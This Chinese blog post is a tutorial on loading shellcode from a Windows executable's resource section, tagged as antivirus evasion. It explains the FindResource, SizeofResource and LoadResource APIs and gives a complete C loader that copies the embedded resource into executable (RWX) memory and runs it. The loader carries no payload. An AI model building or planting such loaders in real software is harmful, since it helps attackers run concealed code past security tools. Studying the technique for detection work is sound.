«

ShellCode加载 - 资源节加载

ljierui 发布于 阅读:133 技术杂谈


1、从资源节加载

1.1、什么是资源节

1.2、使用FindResource函数查找定位到资源名称

HRSRC FindResourceA(
  [in, optional] HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前进程中的资源
  [in]           LPCSTR  lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
  [in]           LPCSTR  lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);

1.3、使用MAKEINTRESOURCE宏转换

void MAKEINTRESOURCEA(
   i
);

1.4、使用SizeofResource函数获取资源大小

DWORD SizeofResource(
  [in, optional] HMODULE hModule, // 其可执行文件包含资源的模块的句柄。默认是用于创建当前进程的模块。
  [in]           HRSRC   hResInfo // 资源的句柄。该句柄必须使用FindResource或FindResourceEx函数创建。
);

1.5、使用LoadResource函数加载资源到内存

1.6、实现过程

//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 load.rc 使用
//
//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源,例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源,在项目的其他部分(例如代码或资源脚本中),可以通过使用 IDR_SHELLCODE1 符号来引用这个资源,而不是直接使用数字常量(如 101
#define IDR_SHELLCODE1                  101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif
#include<windows.h>
#include "resource.h"

int main() {

    // 使用FindResource定位我们的shellcode资源
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");

    // 获取资源的大小
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

    // 加载资源到内存
    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

    // 申请内存
    // 动态分配内存以容纳shellcode
    void* pShellcode = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 复制到内存中
    memcpy(pShellcode, shellcodeResouceData, shellcodeSize);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())pShellcode)();

    return 0;
}

免杀

推荐阅读: